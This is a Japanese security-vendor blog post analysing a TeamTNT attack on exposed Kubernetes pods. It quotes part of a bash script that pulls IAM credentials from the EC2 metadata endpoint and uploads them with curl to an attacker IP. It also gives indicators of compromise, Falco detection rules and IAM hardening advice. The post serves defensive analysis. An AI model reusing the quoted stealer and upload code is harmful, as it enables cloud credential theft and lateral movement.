Sysdig 脅威リサーチチームは、TeamTNTに起因すると思われる攻撃を検知しました。最初の標的は、ネットワークの外に露出したKubernetesポッドでした。アクセスが可能になると、マルウェアはEC2インスタンスのメタデータを使ってAWSの認証情報を盗み出そうとしました。
TeamTNTは、KubernetesやDockerなどの仮想ソリューションやクラウドソリューションに対して大規模な攻撃を行う脅威アクターです。これまでの攻撃では、暗号通貨のマイニングや認証情報の窃取などの動機が見られましたが、今回はAWSのメタデータを活用した新たな戦略が採用されています。クラウドプラットフォームでは、過剰なパーミッションが悪用され、ラテラルムーブメント攻撃を受ける可能性があります。
この記事では、この攻撃がどのように機能するのか、関連するリスク、そしてその検知方法について説明します。
状況
TeamTNTは、Kubernetesクラスター上にデプロイされたWordPressポッドにおけるダッシュボードの設定ミスを経由しつつ悪用し、ブルートフォースでリモートコマンドの実行がなされました。脆弱なコンテナにアクセスした後、マルウェアは
wget
コマンドを使用して、悪意のあるbashスクリプト aws2.sh
をダウンロードします。Sysdig 脅威リサーチチームがこのスクリプトを分析したところ、4つの異なる戦略を用いてAWSの認証情報を取得しようとしていることがわかりました。
- まず、侵害されたシステム上で環境変数としてエクスポートされたAWS認証情報があるかどうかを確認します。
- 次に、現在実行されているdockerコンテナを検査することで、AWSキーを探します。
-
/root
ファイルシステムまたは/home/
ディレクトリのいずれかに/.aws/credentials
パスが存在する場合、それらのディレクトリを検索してクレデンシャルを探します。 - 被害を受けているマシンからAWSメタデータを取得し、それに関連するIAMロール認証情報(
aws_access_key_id
,aws_secret_access_key
,aws_session_token
)を取得します。
インパクト
AWS メタデータは、ユーザーデータと同様に、AWS で実行するすべての EC2 インスタンスの設定と管理に使用されます。このメタデータは、実行中のインスタンスから次のURI(IPv4経由)を介してのみアクセスできます:
http://169.254.169.254/latest/meta-data/
以下は、このエンドポイントに含まれるデータの一例です。
このエンドポイントを使用して、インスタンスに関する情報や、ネットワーク設定(ローカルおよびパブリックIPv4アドレスなど)を取得できます。しかし、何よりも重要なのは、インスタンスに割り当てられているIAMロールの記録です。後者の情報は、攻撃者が利用することができます。
以下は、悪意のあるスクリプトから引用したもので、攻撃者がメタデータエンドポイントにアクセスし、機密情報を抽出する様子を示しています。
...
function AWS_META_DATA_CREDS(){
export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')
if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed 's/",//g')
…
fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
...
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
...
...
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "userfile=@$STEALER_OUT" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
...
この新しい脅威の影響により、このようにAWSの認証情報が盗まれる可能性があります。攻撃者は、この認証情報を利用して、クラウド内でのラテラルムーブメントを行うことができるようになります!
対策
いつものように、堅牢な多要素認証システムと脆弱性のない最新のコンポーネントでサービスが保護されていることを確認してください。しかし、この脅威に対抗するためには、いくつかの具体的な方法があります。
AWSでは、EC2インスタンスのメタデータへの不正アクセスを防止するためのアクセス制御ルールを有効にすることはできません。その代わりに、AWSのクレデンシャルの盗難に関連するリスクを制限するいくつかの戦略を採用することができます。
- インスタンスがメタデータへのアクセスを必要としない場合は、無効にすべきです。これにより、攻撃対象を最小限に抑え、AWSの認証情報の盗難を回避することができます。
- また、インスタンスのメタデータにアクセスする方法として、デフォルトのIMDSv1方式を、より新しいIMDSv2に置き換えることができます。IMDSv2はセッション指向のリクエストを使用し、メタデータやクレデンシャルのリクエストに使用できるセッショントークンを提供します。
- EC2インスタンスにロールを割り当てるのは、厳密に必要な場合のみとします。
- EC2インスタンスにIAMロールをアタッチした場合、タスクの実行に必要な最低限の権限が付与されていることを確認してください。
以下は、安全でないポリシーとレポートされています:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] }
代わりに、より安全なポリシーとして:
{ "Version": "2012-10-17", "Statement": [ { "Principal": { "AWS":"arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>” } "Effect": "Allow", "Action": ["s3:ListBucket”, “s3:GetObject"], "Resource": ["arn:aws:s3:::<s3-bucket-name>"] } ] }
検知
TeamTNTが認証情報を盗むために行った手法の検出は、Falcoを使って行うことができます。Falcoは、コンテナやKubernetes向けのランタイム脅威検知のためのCNCFのインキュベーションプロジェクトです。
Falcoの強力で柔軟なルール言語を活用して、疑わしい振る舞いを検出し、イベントを生成することができます。Falcoには事前に定義されたルールが付属していますが、必要に応じてカスタマイズしたり、ニーズに合った新しいルールを作成したりすることもできます。
デフォルトのルールセットには2つのルールがあり、コンテナが予期せずEC2インスタンスのメタデータに到達しようとするたびに検出されます。
- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]
- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]
これらのルールについて詳しく知りたい場合は、GitHubでルールの全説明を確認できます。
また、Find AWS Credentialsルールは、AWSクレデンシャル・ファイルを発見しようとしている疑わしい
grep
や find
コマンドを検出することができます。このルールはSysdig Secureに含まれています。- macro: private_aws_credentials
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")
- rule: Find AWS Credentials
description: Detect AWS creds
condition: >
spawned_process and
((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Grep AWS credentials activities found (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: mitre_credential_access, process
侵害の指標(IoC)と不審な活動のまとめ
IPs & URLs
- 84.201.153.234
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
MD5
aws2.sh
- 6eb1c1b3acbb0a71013826d512b3ebb6
Filenames
- aws2.sh
- TeamTNT_AWS_STEALER_v2.txt
- .tnt.aws.lock
疑わしいアクティビティ
TeamTNTのマルウェア分析において、特筆すべき不審な活動がいくつかあります:
wget
は、悪意のあるbashスクリプトaws2.sh
をダウンロードするために、ビルド時ではなくランタイムに起動されています。- AWSメタデータを使ったネットワーク通信
Sysdig Secure IoCルール:
- Malicious IPs or domains detected on command line
- Malicious binary detected
- Malicious process detected
まとめ
今回の事案は、脅威が常に進化していることを証明しています。TeamTNTマルウェアは、AWSの認証情報が被害者のコンテナ内に直接保存されていなくても、それを盗むことができるように改良されています。これにより、脅威アクターはラテラルムーブメント攻撃を行うために、盗んだ認証情報を悪用できる可能性があります。
ランタイムセキュリティツールを導入したい場合は、「Kubernetes、コンテナ、クラウドにおける継続的なリスクと脅威の検出のためのオープンソース標準」であるFalcoを選択することができます。
Falcoの詳細を知りたい方は:
- Falco.orgで始めましょう。
- GitHubでFalcoプロジェクトをチェックしてください。
- Falcoのコミュニティに参加する。
- Falco Slackでメンテナに会いましょう。
- ツイッターで @falco_org をフォローする。
Sysdig Secureでは、他のオープンソース・プロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、クラウド・セキュリティの作業と管理をさらに容易にしています。
Sysdig Secureを使用している場合、インスタンス・メタデータ・エンドポイントを使用しようとすると、以下の画像のようなイベントが発生します。
30日間の無料トライアルにご登録いただき、ご自身の目でお確かめください!